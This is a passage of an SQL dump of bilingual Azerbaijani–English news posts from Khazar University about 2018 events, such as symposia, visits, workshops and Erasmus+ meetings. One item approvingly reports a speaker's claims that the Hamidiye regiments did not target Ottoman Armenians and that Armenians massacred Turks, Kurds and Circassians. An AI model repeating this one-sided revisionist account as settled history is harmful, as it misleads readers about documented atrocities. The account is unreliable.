Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci il aprelin 12-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Dr. Telman Nüsrətoğlu Türkiyənin TRT kanalında Türkiyə-Azərbaycan münasibətlərinin gələcəyi, iki qardaş ölkə arasındakı iqtisadi, mədəni, hərbi sahədəki əməkdaşlığının keçmişi və bu günü, həyata keçirilən ortaq strateji layihələr və bu ortaq layihələrin bölgənin stabilliyinə töhfəsi haqqında çıxış etmişdir.</p>'),(5376,3108,'en','Instructor of the Department of History and Archaeology at TRT channel','On April 12, 2018, Dr. Telman Nusratoghlu, instructor of the Department of History...','<p>On April 12, 2018, Dr. Telman Nusratoghlu, instructor of the Department of History and Archaeology, participated in a broadcast of TRT channel of Turkey. He talked about the future of Turkey and Azerbaijan relations, the past and present situations in economic, cultural and military spheres as well as joint projects which are important in terms of contribution to stability in the region.</p>'),(5377,3109,'az','Fuat Rəsulov: “Neftin qiyməti 200 dollara çata bilər”','2018-ci il aprelin 16-da Yenicag.az xəbər saytı Yaxşın Şərqdə baş verən hadisələrin...','<p>2018-ci il aprelin 16-da <strong><em>Yenicag.az</em></strong> xəbər saytı Yaxşın Şərqdə baş verən hadisələrin neftin qiymətinə edəcəyi təsirlərlə bağlı araşdırma yazısı yayınlamışdır. Yazıda Xəzər Universitetinin neft-qaz geosiyasəti üzrə professoru Fuat Rəsulovun fikirlərinə də yer verilmişdir.</p><p>Yazını tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://yenicag.az/neftin-qiymeti-200-dollara-qalxa-biler-proqnoz/\">https://yenicag.az/neftin-qiymeti-200-dollara-qalxa-biler-proqnoz/</a></p>'),(5378,3109,'en','Fuat Rasulov: “The oil price can reach 200 dollars”','On April 16, 2018, Yenicag.az news portal posted an article which mentions...','<p>On April 16, 2018, <strong><em>Yenicag.az</em></strong> news portal posted an article which mentions that the events in Middle East might have an effect on oil price. Views by Fuat Rasulov, professor in oil and gas geopolitics, Khazar University, were also covered by the article.</p><p>The full article is available through the following link:</p><p><a href=\"https://yenicag.az/neftin-qiymeti-200-dollara-qalxa-biler-proqnoz/\">https://yenicag.az/neftin-qiymeti-200-dollara-qalxa-biler-proqnoz/</a><br></p>'),(5379,3110,'az','Tarixçi “Türk xalqlarının mədəniyyəti tarixi” dərsinin qonağı oldu','2018-ci il aprelin 4-də tarix üzrə araşdırmaçı Əkbər N.Nəcəf Xəzər Universiteti Tarix...','<p>2018-ci il aprelin 4-də tarix üzrə araşdırmaçı Əkbər N.Nəcəf Xəzər Universiteti Tarix və arxeologiya departamentinin qonağı oldu. Xəzər Universitetində tədris olunan “Türk xalqlarının mədəniyyəti tarixi” dərsində türklərin İslam dini qəbul etməsi və Türk-İslam mədəniyyətinin əsasları haqqında mühazirə oxuyan Ə.N.Nəcəf bu dövrün formalaşma mərhələsi olaraq 400 illik tarixə sahib Qaraxanlılar dövrü haqqında tələbələrə məlumat verdi.</p><p>Diskussiya şəklində keçən dərsdə tədqiqatçı tələbələrin suallarını cavablandırdı.</p>'),(5380,3110,'en','Historian participates in the lesson “History of the culture of Turkish people”','On April 4, 2018, Akbar Najaf, a historian, paid a visit to the Department of History...','<p>On April 4, 2018, Akbar Najaf, a historian, paid a visit to the Department of History and Archeology of Khazar University. Akbar Najaf delivered a lecture on conversion of Turkish people to Islam and basis of Turkish-Islamic culture. He also informed the students about Garakhanlilar who reigned 400 years which is considered the period of development of Turkish culture.</p><p>During the interactive lecture, Akbar Najaf answered the students’ questions.</p>'),(5381,3111,'az','Tarix və arxeologiya departamentinin müəllimi simpoziumda','2018-ci ilin aprelin 6-dan 8-dək Türkiyə Cümhuriyyətinin Şanlıurfa şəhərində...','<p>2018-ci ilin aprelin 6-dan 8-dək Türkiyə Cümhuriyyətinin Şanlıurfa şəhərində “Osmanlı sancağından Cümhuriyyət şəhərinə” adlı üçüncü beynəlxalq simpozium keçirildi. Simpoziumda Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi tarix üzrə fəlsəfə doktoru Ziyad Əmrahov “Osmanlı imperiyasında hamidiyyə alayları Rusiya tarixşünaslığında” mövzusunda məruzə ilə çıxış etdi.</p><p>Azərbaycan, Özbəkistan, Qazaxıstan, Türkiyə, Albaniya və Ruminiyadan olan tədqiqatçıların təmsil olunduğu beynəlxalq simpoziumda çıxış edən natiq, əsasən, Osmanlı İmperiyasında “hamidiyyə alayları” məsələsi ilə bağlı Rusiya tarixşünaslığının mövqeyini simpozium iştirakçılarının diqqətinə çatdırmaqla yanaşı, müqayisəli təhlillərə də yer verdi. Məruzədən sonra dinləyicilərin sualları cavablandırıldı və rusiyalı tədqiqatçıların iddia etdikləri “guya bu süvari alayları Osmanlı ermənilərinin fiziki cəhətdən məhv edilməsini əsas məsələ kimi qarşısına qoymuşdu” kimi fikirlər çoxsaylı mənbələr əsasında təkzib edildi və göstərildi ki, Berlin konqresinin qərarlarından sonra Şərqi Anadoluda özlərinə dövlət yaratmaq planlarının boşa çıxmasını görən ermənilər imperiyanın şərq əyalətlərində daxili münasibətləri kəskinləşdirmiş, terrorçu qruplaşmalar yaradaraq, imperiyanın digər xalqları, xüsusilə, kürdlər, çərkəzlər və türk əhalisini soyqırıma məruz qoymuşdular. Yaranmış vəziyyətin gərginliyini nəzərə alan Osmanlı hökuməti isə həm sərhədlərin təhlükəsizliyi, həm də daxili ictimai-siyasi vəziyyəti nəzarətdə saxlamaq üçün yeni islahatlar keçirmiş, daha sağlam ordu birləşmələri – hamidiyyə alayları yaratmışdır.</p>'),(5382,3111,'en','Instructor of the Department of History and Archaeology at a symposium','On April 6-8, 2018, the third international symposium entitled “From the Ottomans to the...','<p>On April 6-8, 2018, the third international symposium entitled “From the Ottomans to the Republic of Turkey” was held in Shanliurfa, Turkey. At the symposium, Ziyad Amrahov, PhD in History, instructor of the Department of History and Archeology of Khazar University delivered a report entitled “Hamidiyya regiments of Ottoman Empire in Russian historiography”.</p><p>Researchers from Azerbaijan, Uzbekistan, Kazakhstan, Turkey, Albania and Romania participated in the symposium. Through comparative analysis, Ziyad Amrahov talked about the views in Russian historiography on “hamidiyye regiments” of Ottoman Empire. After the report, Ziyad Amrahov answered questions. Referring to various resources, Ziyad Amrahov refused the idea of Russian researchers who claimed that “the main aim of these cavalry regiments was to kill Ottoman Armenians”. He also stressed that after the decisions of Berlin Congress, Armenians failed to establish a state and therefore they escalated the conflicts in Eastern Anatolia, and, by organizing terrorist groups, Armenians massacred other peoples of the Empire, especially Kurds, Circassians and Turks. Considering tension in the region the Ottoman leaders held reforms and created stronger military unions (hamidiyye regiments) in order to control internal social and political situation and secure the borders.</p>'),(5383,3112,'az','Xəzər Universitetində tədqiqat metodlarına aid seminar/təlimin 1-ci hissəsi keçirildi','2018-ci il aprelin 12-də Xəzər Universitetində tədqiqata dəstək məqsədilə növbəti seminar...','<p>2018-ci il aprelin 12-də Xəzər Universitetində tədqiqata dəstək məqsədilə növbəti seminar/təlim keçirildı. Dəvət edilmiş məruzəçi Azərbaycan Tibb Universitetinin Tibbi fizika və informatika kafedrasının baş müəllimi fizika və riyaziyyat elmləri üzrə fəlsəfə doktoru İsmayıl Qafarov “Elmi tədqiqatlar və məlumatların təhlili sahəsində effektiv statistik metodlar” mövzusunda 1-cı seminarı təqdim etdi. Mühazirənin 2-ci hissəsinin aprelin sonuna planlaşdırılan seminarda təqdim edilməsi, sonra isə öyrənilən nəticələrin praktiki məşğələdə tədbiq edilməsi qərara alındı. Praktiki təlimdən sonra iştirakçılara sertifikatlar təqdim ediləcək.</p><p>Burada mühazirənin 1-ci hissəsinə aid olan materiallar yerləşdirilmişdir:</p><p><a href=\"/files/letters/Mat_stat1.pdf\">Mat_stat1.pdf</a></p><p><a href=\"/files/letters/Mat_stat2.pdf\">Mat_stat2.pdf</a></p>'),(5384,3112,'en','First Part of a Workshop on Research Methods','On April 12, 2018, another workshop was held in support of research at Khazar University...','<p>On April 12, 2018, another workshop was held in support of research at Khazar University. Ismayil Gafarov, senior instructor of the Department of Medical Physics and Informatics of Azerbaijan Medical University, PhD in Physics and Mathematics, run the workshop. He delivered the first presentation on the topic “Effective statistical methods in research and data analysis”. It was decided to have the next workshop at the end of April, and organize workshops for practical application of acquired skills. The participants will be presented with certificates after the practical workshop.</p><p>Materials of the first workshop are in the attachments:  </p><p style=\"background:undefined \"><a href=\"http://www.khazar.org/files/letters/Mat_stat1.pdf\">Mat_stat1.pdf</a></p><p><a href=\"http://www.khazar.org/files/letters/Mat_stat2.pdf\">Mat_stat2.pdf</a></p>'),(6085,3470,'en','Thesis defence of graduate students of the Department of Psychology held','On October 2, 2018, thesis defence of graduate students of the School of Humanities...','<p>On October 2, 2018, thesis defence of graduate students of the School of Humanities and Social Sciences, was held.</p><p>Dr. Eldar Shahgaldiyev (chair), Head of the Division for Graduate Students and Research, declared the defence process open. The members of defence counsil included Assoc. Prof. Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Dr. Laman Verdiyeva; Assoc. Prof. Mushfig Mustafayev; Dr. Inara Mammadli; PhD student Melek Karimova and Nilufar Alizadeh (defence council secretary), instructor of the department of Psychology.</p><p>Graduate students of the Department of Psychology –Narmin Sujayeva, Nigar Aghayeva, Farida Mammadova, Gunay Ismayilova, Bibikhanım Guliyeva and Sona Davudova defended their theses successfully.</p>'),(5385,3113,'az','Xəzər Universitetinin nümayəndəsi 21-ci Avrasiya Zirvə toplantısında','2018-ci il aprelin 11-də Türkiyənin İstanbul şəhərində 21-ci Avrasiya...','<p>2018-ci il aprelin 11-də Türkiyənin İstanbul şəhərində 21-ci Avrasiya İqtisadi Zirvəsi öz işinə başladı. Zirvə toplantısında hər il olduğu kimi, bu il də dünyanın 40 ölkəsindən 915 nümayəndə iştirak edirdi. Zirvə toplantısında Xəzər Universiteti adından İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli iştirak edirdi. Toplantının 1-ci günü Nobel Mükafatı Laureatı Aziz Sancarın Zirvə toplantısı iştirakçılarına ünvanlanmış məktubu oxundu. Bosniya və Hersoqovinanın sabiq Prezidenti Mavimo Gavara, Baş nazir Mladen İvaniç və Makedoniya Prezidenti Gjorge İvanov, Türkiyə Baş nazirinin müavini Mehmet Şimşek iştirakçıları salamladılar. Sonrakı oturumlarda Marmara Vakfinin başqanı Akkan Suver, Makedoniyanın Dövlət naziri Adnan Kamil, Avstriyanın Müdafiə naziri Werner Fasslabend, Türkmənistanın Maliyyə naziri Merdan Bayramdurdiyev, Rusiya Baş nazirinin sabiq müavini Gennadi Burbulis çıxış etdilər. Kosova, Bolqarıstan, Türkiyə, ŞKTC, Makedoniya, Bosniya və Hersoqovina və Monteneqrodan olan bələdiyyə başqanları idarə etdikləri bələdiyyələrin yeni iş sistemləri haqqında məruzə ilə çıxış etdilər. Zirvə toplantısının ikinci günü Əlövsət Əmirbəyli katibliyə seçildi.</p><p>Toplantının ikinci günü Türkiyə Cümhuriyyətinin Baş naziri Binəli Yıldırım Suriyada və dünyada yaranmış təhlükəli vəziyyətlə bağlı məruzə ilə çıxış etdi. Məruzə ətrafında İstanbul Patriarxı Archbishop Bartholomew və digər dini liderlər çıxış etdilər. Günün ikinci yarısında Türkiyə Cümhuriyyətinin sabiq Prezidenti Abdulla Gül, Bosniya və Hersoqovinanın sabiq Prezidenti Marinka Gavara, Xorvatiyanın sabiq prezidentləri İvo Josipoviç, Stjepan Mesic, ŞKTC-nin Prezidenti Mustafa Akıncı, Latviyanın sabiq Prezidenti Valdis Zatlers, Makedoniyanın Prezidenti Gjorge İvanov, Moldovanın sabiq Prezidenti Petru Luçinski, Ruminiyanın sabiq Prezidenti Emil Constantinescu dünyada baş verən son hadisələrlə bağlı maraqlı məruzə ilə çıxış etdilər. Sonda Zirvə toplantısının iştirakçıları adından dünya dövlətlərinin rəhbərlərinə müraciət qəbul olundu.</p><p>Xəzər Universitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli Zirvə toplantısında iştirak edən Türkiyə Cümhuriyyətinin sabiq Prezidenti Abdulla Gül, KKTC-nin Prezidenti Mustafa Akıncı, Moldovanın sabiq Prezidenti Petru Luçinski, Rusiyanın Baş nazirinin sabiq müavini Gennadı Burbulus, Nobel Mükafatı Laureatı Aziz Sancar və digər rəsmi şəxslərlə görüşdü və onlara Xəzər Universiteti haqqında məlumat verdi.</p><p>Xatirə şəkilləri çəkildi.</p>'),(5386,3113,'en','Khazar University staff member in 21st Eurasian Economic Summit','On April 11, 2018, 21st Eurasian Economic Summit started in Istanbul, Turkey...','<p>On April 11, 2018, 21<sup>st </sup>Eurasian Economic Summit started in Istanbul, Turkey. 915 participants from 40 countries joined the Summit. Alovsat Amirbayli, Director for Public Relations and Media of Khazar University, participated in the Summit on behalf of Khazar University. On the first day of the Summit, a letter by Aziz Sanjar, a Nobel Laureate, addressed to Summit participants was read.</p><p>Mavimo Gavara, Former President of Bosnia and Herzegovina, Mladen Ivanic, Prime Minister, Gjorge Ivanov, Macedonian President, and Mehmet Shimshek, Turkish Deputy Prime Minister, greeted the participants. Mavimo Gavara, Former President of Bosnia and Herzegovina, Mladen Ivanic, Prime Minister, Gjorge Ivanov, Macedonian President, and Mehmet Shimshek, Turkish Deputy Prime Minister, greeted the participants. Then Akkan Suver, the President of the Marmara Foundation, Adnan Kamil, the State Minister of Macedonia, Werner Fasslabend, the Minister of Defense of Austria, Merdan Bayramdurdiyev, the Minister of Finance of Turkmenistan, and Gennady Burbulis, the former Deputy Prime Minister of Russia, delivered speeches. Heads of municipalities from Kosovo, Bulgaria, Turkey, Turkish Republic of Northern Cyprus, Macedonia, Bosnia and Herzegovina and Montenegro delivered reports on about new systems of their municipalities. On the second day of the Summit, Alovsat Amirbayli was selected a member of secretary.</p><p>On the second day, Binali Yildirim, Prime Minister of the Republic of Turkey, delivered a speech on a dangerous situation in Syria and in the world. Archbishop Bartholomew, Patriarch of Istanbul, and other religious leaders delivered speeches on the same topic. Abdullah Gul, former President of the Republic of Turkey, Marinka Gavara, former President of Bosnia and Herzegovina, Ivo Josipovic and Stjepan Mesic, former Croatian presidents, Mustafa Akinji, Turkish Republic of Northern Cyprus, Valdis Zatlers, former President of Latvia, Gjorge Ivanov, President of Macedonia, Petru Luçinski, former President of Moldova, and Emil Constantinescu, former President of Romania, delivered interesting reports on recent accidents in the world. At the end of the Summit, participants approved a declaration addressed to the leaders of countries.</p><p>Alovsat Amirbayli, Director for Public Relations and Media of Khazar University, met Abdullah Gul, former President of the Republic of Turkey, Mustafa Akinji, Turkish Republic of Northern Cyprus, Petru Luçinski, former President of Moldova, Gennady Burbulis, the former Deputy Prime Minister of Russia, and Aziz Sanjar, a Nobel Laureate, and informed them about Khazar University. Memory photos were taken</p>'),(5387,3114,'az','Türkiyənin Artvin Çoruh Universitetinin nümayəndələri Xəzər Universitetində','2018-ci il aprelin 13-də Türkiyənin Artvin Çoruh Universitetinin nümayəndələri...','<p>2018-ci il aprelin 13-də Türkiyənin Artvin Çoruh Universitetinin nümayəndələri ilə Xəzər Universitetində görüş keçirildi.</p><p>Xəzər Universitetindən rektor Dr. Hassan Niknafs və Beynəlxalq əlaqələr şöbəsinin koordinatoru Günay Fərzəliyeva görüşdə iştirak edirdilər. Artvin Çoruh Universitetini isə Beynəlxalq Əlaqələr Tədqiqat və Tətbiq Mərkəzinin mütəxəssisi Hakan Gültekin təmsil edirdi.</p><p>Görüş zamanı hər iki universitet arasında tələbə və akademik heyət mübadiləsi, Erasmus+ və Mevlana Mübadilə Proqramı və tədqiqat sahəsində əməkdaşlıq imkanları müzakirə edildi. Gələcək əməkdaşlığın əsasını qoymaq və ortaq maraq doğuran sahələrdə birgə işlər görmək üçün anlaşma memorandumunun imzalanması razılaşdırıldı.</p><p>Görüşün sonunda hər iki universitetin təbliğat materialları təqdim olundu.</p>'),(5388,3114,'en','Representatives of Artvin Coruh University Visit Khazar University','On April 13, 2018, the representatives of Artvin Coruh University...','<p>On April 13, 2018, the representatives of Artvin Coruh University (Turkey) visited Khazar University.</p><p>The pparticipants from Khazar University included Dr. Hassan Niknafs, Rector of Khazar University and Gunay Farzaliyeva, coordinator of International Affairs Office. Hakan Gultekin, Expert of Research and Application Center of International Relations, represented Artvin Coruh University.</p><p>Meeting participants discussed collaboration opportunities on student and faculty exchange, cooperation within Erasmus+ and Mevlana Exchange Program and research. To start a future cooperation and work on areas of mutual interest, parties decided to sign a memorandum of understanding.</p><p>At the end of the meeting, promo materials of both universities were exchanged.</p>'),(5389,3115,'az','PETRA layihəsi çərçivəsində Xəzər Universitetində görüş','2018-ci il aprelin 18-i və 19-da Xəzər Universitetində ERASMUS+ layihəsi çərçivəsində...','<p>2018-ci il aprelin 18-i və 19-da Xəzər Universitetində ERASMUS+ layihəsi çərçivəsində növbəti idarəetmə görüşü baş tutdu.</p><p>Tədbirdə Azərbaycandan Xəzər Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Universiteti, Avropa ölkəllərindən Qazi Universiteti (Türkiyə), Debrecen Universiteti (Macarıstan), Valensiya Politexnik Universiteti (İspaniya), Vyana Tətbiqi Elmlər Universiteti (Avstriya), Jyväskylä Universiteti (Finlandiya) olan tərəfdaş universitetlərin 30-a yaxın nümayəndəsi iştirak edirdi.</p><p>2 günlük görüşdə layihənin gedişi, indiyə qədər görülən işlər, layihə çərçivəsində Azərbaycan universitetlərində Təlim və Tədris Mərkəzinin (Teaching and Learning Centre) yaradılması, layihə çərçivəsindəki konfranslar və görüləcək işlər haqqında müzakirələr aparıldı.</p><p>Layihənin avropalı tərəfdaşları 2018-ci il aprelin 20-si və 21-də Xəzər Universitetində keçiriləcək “Qloballaşan Təhsil” I Beynəlxalq Təhsil Elmləri konfransında məruzələr edəcəklər.</p>'),(5390,3115,'en','Meeting within PETRA project at Khazar University','On April 18-19, 2018, the next management meeting was held at Khazar University...','<p>On April 18-19, 2018, the next management meeting was held at Khazar University within ERASMUS+ project.</p><p>About 30 representatives from partner universities - Khazar University, Nakhchivan State University, Ganja State University, Sumgayit State University, Baku Slavic University, Azerbaijan University of Languages, Azerbaijan State Pedagogical University, Azerbaijan University as well as representatives of partner universities from Europe - Gazi University (Turkey), Debrecen University (Hungary), Valencia Polytechnic University (Spain), Vienna University of Applied Sciences (Austria), and Jyväskylä University (Finland) - participated at the meeting.</p><p>During the two-day meeting, representatives discussed the current situation of the project, the establishment of a Teaching and Learning Centre at universities of Azerbaijan and conferences and other events to be held within the project.</p><p>Representatives of European partner universities will deliver keynote speeches&nbsp;at I International Symposium on&nbsp;“Global Education” to be held at Khazar University on April 21-22, 2018.</p>'),(5393,3117,'az','Xəzər Universitetində ikinci semestrin aralıq imtahanları başlandı – FOTOSESSİYA','Xəzər Universitetində ikinci semestrin aralıq imtahanları başlandı...',''),(5394,3117,'en','Midterm Exams of the 2nd Semester at Khazar University – PHOTO SESSION','Midterm Exams of the 2nd Semester at Khazar University...',''),(5395,3118,'az','Xəzər Universitetində “Qloballaşan təhsil” adlı beynəlxalq simpozium işə başladı','2018-ci il aprelin 20-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar...','<p>2018-ci il aprelin 20-də Xəzər Universitetində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının yubileyinə həsr olunan “Qloballaşan təhsil” adlı beynəlxalq simpozium işə başladı.</p><p>Simpoziumda Azərbaycan, Türkiyə, Macarıstan, Finlandiya, Albaniya, Avstriya və Bolqarıstandan olan alim və mütəxəssislər iştirak edirlər. İki gün ərzində 8 sessiyada onların məruzələri dinlənilib, müzakirə olunacaq.</p><p>Konfransdan əvvəl iştirakçılara Xəzər Universiteti Kamera orkestrinin ifasında qısa musiqi proqramı təqdim olundu.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı konfransı açaraq, iştirakçıları salamladı, konfransın əhəmiyyətindən danışdı və işinə uğurlar arzuladı.</p><p>Açılış mərasimində Nyu-York Tirana Universitetinin (Albaniya) rektoru professor Fatoş&nbsp;Tarifa, Çankaya&nbsp;Universitetinin (Türkiyə) professoru Buket Akkoyunlu çıxış etdilər.</p><p>Konfrans aprelin 21-də işini davam etdirib, başa çatacaq.</p>'),(5919,3386,'az','Azərbaycanlı ilahiyyatçılar abituriyentlərə çağırış etdilər','2018-ci il avqustun 8-də cia.az və olaylar.az saytlarında,”Yeni Müsavat” qəzetinin...','<p>2018-ci il avqustun 8-də <em>cia.az</em> və <em>olaylar.az</em> saytlarında,”Yeni Müsavat” qəzetinin internet səhifəsində AMEA-nın akademik Z.M.Bünyadov adına Şərqşünaslıq İnstitutu Din və ictimai fikir tarixi şöbəsinin aparıcı elmi işçisi, dosent Elvüsal Məmmədov, Elm Tarixi İnstitutunun “Elmşünaslıq və elmin sosial problemləri” şöbəsinin baş elmi işçisi, dosent Ələddin Məlikov, akademik Z.M.Bünyadov adına Şərqşünaslıq İnstitutunun “Din və ictimai fikir tarixi” şöbəsinin aparıcı elmi işçisi, dosent İlkin Əlimuradov, Fəlsəfə İnstitutunun “Etika” şöbəsinin böyük elmi işçisi, dosent Anar Qafarov və Xəzər Universitetinin fəlsəfə departamentinin müəllimi Mail Yaqubun abituriyentlərə müraciətini dərc etmişdir. Onlar abituriyentlərə İlahiyyat İnstitutunu seçməyə çağırış ediblər.</p><p>Müraciəti aşağıdakı linklərdə oxumaq olar:</p><p><a href=\"http://cia.az/news-view/98570-Azerbaycanli-ilahiyyatchilar-abituriyentlere-chagirish-etdiler#Kalibri\">http://cia.az/news-view/98570-Azerbaycanli-ilahiyyatchilar-abituriyentlere-chagirish-etdiler#Kalibri</a></p><p><a href=\"http://olaylar.az/news/sosial/291066#Kalibri\">http://olaylar.az/news/sosial/291066#Kalibri</a></p><p><a href=\"http://musavat.com/news/azerbaycanli-ilahiyyatcilar-abituriyentlere-cagiris-etdiler_547126.html#Kalibri\">http://musavat.com/news/azerbaycanli-ilahiyyatcilar-abituriyentlere-cagiris-etdiler_547126.html#Kalibri</a></p>'),(5920,3386,'en','The Azerbaijani theologians called for the abiturients','On August 8, 2018, the appeal to the abiturients, made by Assoc. Prof. Elvusal...','<p>On August 8, 2018, the appeal to the abiturients, made by Assoc. Prof. Elvusal Mammadov, Leading Research Fellow of the Department of History of Religion and Public Opinion of the Institute of Oriental Studies named after academician Z.M.Bunyadov of ANAS, Assoc. Prof. Aladdin Malikov, Senior scientific worker of \"Science and Social Problems of Science\" Department of the Institute of History of Science, Assoc. Prof. Ilkin Alimuradov, Leading Research Fellow of the Department of History of Religion and Public Opinion of the Institute of Oriental Studies named after academician Z.M. Bunyadov, Prof. Anar Qafarov, Senior Research Fellow of the Department of Ethics at the Institute of Philosophy and Mail Yagub, lecturer at the Department of Philosophy of Khazar University, was released on <em>cia.az</em> and <em>olaylar.az</em> websites and on the internet page of “Yeni Musavat” newspaper. They urged abiturients to choose the Institute of Theology.</p><p>The information is available at:</p>  <p><a href=\"http://cia.az/news-view/98570-Azerbaycanli-ilahiyyatchilar-abituriyentlere-chagirish-etdiler#Kalibri\">http://cia.az/news-view/98570-Azerbaycanli-ilahiyyatchilar-abituriyentlere-chagirish-etdiler#Kalibri</a></p><p><a href=\"http://olaylar.az/news/sosial/291066#Kalibri\">http://olaylar.az/news/sosial/291066#Kalibri</a></p><p><a href=\"http://musavat.com/news/azerbaycanli-ilahiyyatcilar-abituriyentlere-cagiris-etdiler_547126.html#Kalibri\">http://musavat.com/news/azerbaycanli-ilahiyyatcilar-abituriyentlere-cagiris-etdiler_547126.html#Kalibri</a></p>'),(5921,3387,'az','Xəzər Universitetinin qoşulduğu layihə qalib oldu','Erasmus+ layihələrinin nəticələri elan olunub. Xəzər Universitetinin partnyor...','<p>Erasmus+ layihələrinin nəticələri elan olunub. Xəzər Universitetinin partnyor kimi qoşulduğu layihələrdən biri qalib olub. Bu, Niderland Biznes Akademiyasının koordinator olduğu \"Mediation: training and society transformation/MEDIATS\" layihəsidir.</p>'),(5922,3387,'en','The project, joined by Khazar University, has won','The results of Erasmus+ projects have been released. One of the projects...','<p>The results of Erasmus+ projects have been released. One of the projects that Khazar University has joined as a partner has won. This is the \"Mediation: training and society transformation / MEDIATS\" project coordinated by the Netherlands Business Academy.</p>'),(5923,3388,'az','Xəzər Universitetinin Psixoloji Xidmət Mərkəzinin direktoru Ankarada keçirilmiş təlimdə iştirak etmişdir','Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzinin direktoru, Psixologiya...','<p>Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzinin direktoru, Psixologiya Departamentinin koordinatoru Mələk Kərimova Türkiyənin Ankara şəhərində Kognitiv Davranış Psixoterapiyalar Dərnəyinin 2018-ci il avqustun 12-17-də təşkil etdiyi təlimdə iştirak etmişdir. Bu dərnək Kognitiv Terapiya Akademiyasının, Avropa Kognitiv Davranış Terapiyaları Assosiasiyasının Türkiyədəki üzv qurumudur.&nbsp;</p><p>Təlim dərnəyin &nbsp;rəhbəri, bu sahədə tanınmış professor Mehmet Hakan Turkcapar tərəfindən keçirilmişdir.</p>'),(5924,3388,'en','Head of the Psychological Service Center at Khazar University attended a training course in Ankara','Melek Kerimova, Head of Khazar University Psychological Service Center and Coordinator...','<p>Melek Kerimova, Head of Khazar University Psychological Service Center and Coordinator of Psychology Department, participated in a training course organized by the Cognitive Behavioral Psychotherapy Association in Ankara, Turkey, on August 12-17, 2018. This association is a member of the Cognitive Therapy Academy and a member of the European Cognitive Behavior Therapy Association in Turkey.</p><p>The training was conducted by Professor Mehmet Hakan, Head of the Association and a well-known professor in this field.</p>'),(5925,3389,'en','PhD student of Computer Science Department  presents a paper at an International Conference','On August 4, 2018, Abdulsalam S. Mustafa, PhD student of Computer...','<p>On August 4, 2018, Abdulsalam S. Mustafa, PhD student of Computer Science Department&nbsp; of Khazar University, delivered a presentation on “A Review of Parliamentary Websites in the 36 State Legislatures in Nigeria” at the International Conference on New Trends in Education: Teaching, Learning and Technology (EAERC) held in Istanbul, Turkey.&nbsp;</p><p>The conference articles will be published in Scopus Indexed associated journals.  </p>'),(5926,3390,'az','Bakalavr pilləsinə qəbul olan  tələbələrin nəzərinə!','Dövlət İmtahan Mərkəzinin tövsiyəsinə uyğun olaraq...','Dövlət İmtahan Mərkəzinin tövsiyəsinə uyğun olaraq 25 avqust 2018-ci il tarixində Xəzər Universitetində sənəd qəbulu davam etdiriləcəkdir.'),(5927,3389,'az','Kompüter elmləri departamentinin doktorantı İstanbulda keçirilmiş beynəlxalq konfransda məruzə etmişdir','2018-ci il  avqustun 4-də Xəzər Universitetinin Kompüter elmləri departamentinin...','<p>2018-ci il&nbsp; avqustun 4-də Xəzər Universitetinin Kompüter elmləri departamentinin&nbsp; doktorantı Abdulsalam S. Mustafa Türkiyənin İstanbul şəhərində keçirilmiş \"New Trends in Education: Teaching, Learning and Technology (EAERC)\" adlı beynəlxalq konfransda \"Nigeriyada 36 dövlət qanunvericiliyində Parlament vebsaytlarının nəzərdən keçirilməsi\" mövzusunda məruzə etmişdir.&nbsp;</p><p>Konfrans materialları Scopus indexli jurnallarda dərc olunacaq.</p>'),(5928,3391,'az','Təhsil mütəxəssisi Xəzər Universitetini nümunə göstərdi','2018-ci il avqustun 22-də moderator.az saytı təhsil mütəxəssisi...','<p>2018-ci il avqustun 22-də moderator.az saytı təhsil mütəxəssisi Elçin Əfəndi ilə “Boş qalan yerlərə ərizə verənlərin ən böyük səhvi – \"özəl”ləri seçməkdən qorxurlar\" sərlövhəli geniş müsahibə dərc etmişdir. Təhsil eksperti qeyd edib ki, son illərdə bir neçə özəl universitetin bağlanması ilə əlaqədar valideynlərdə, “övladları çöldə qalar” deyə, özəl universitetlərə inam azalıb. Bununla belə, o, Xəzər Universitetini nümunə göstərərək söyləyib ki, “bu, Xəzər Universitetində keyfiyyətli təhsillə bağlıdır. Bundan başqa, dünya universitetlərinin reytinq sıralamasında Azərbaycanı təmsil edən yeganə ali təhsil müəssisəsi Xəzər Universitetidir.”&nbsp;</p><p>Müsahibəni bu linkdə oxumaq olar:</p><p><a href=\"http://www.moderator.az/news/237291.html#Kalibri\">http://www.moderator.az/news/237291.html#Kalibri</a></p>'),(5396,3118,'en','I International Symposium on Global Education starts at Khazar University','On April 20, 2018, I International Symposium on Global Education...','<p>On April 20, 2018, I International Symposium on Global Education, dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, anniversary started at Khazar University.</p><p>Scientists and experts from Azerbaijan, Turkey, Hungary, Finland, Albania, Austria and Bulgaria are participating in the symposium. They will deliver speeches and reports in 8 sessions during two days.</p><p>Before the opening of the conference, Khazar University Camera Orchestra performed a short program of pieces of music.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, opened the conference and greeted the participants. Moreover, he stressed the importance of the conference and wished the conference success.</p><p>Prof. Fatos Tarifa, Rector of the University of New York Tirana (Albania), and Prof. Buket Akkoyunlu from Çankaya University (Turkey) delivered speeches at the opening ceremony.</p><p>The conference will continue until April 21, 2018.</p>'),(5397,3119,'az','Belçika səfiri Xəzər Universitetinin qonağı oldu','2018-ci il aprelin 19-də Belçika Krallığının Fövqəladə və Səlahiyyətli səfiri cənab...','<p>2018-ci il aprelin 19-də Belçika Krallığının Fövqəladə və Səlahiyyətli səfiri zati-aliləri&nbsp;cənab Bert Schoofs Xəzər Univerisiteti Siyasi elm və beynəlxalq münasibətlər departamentinin 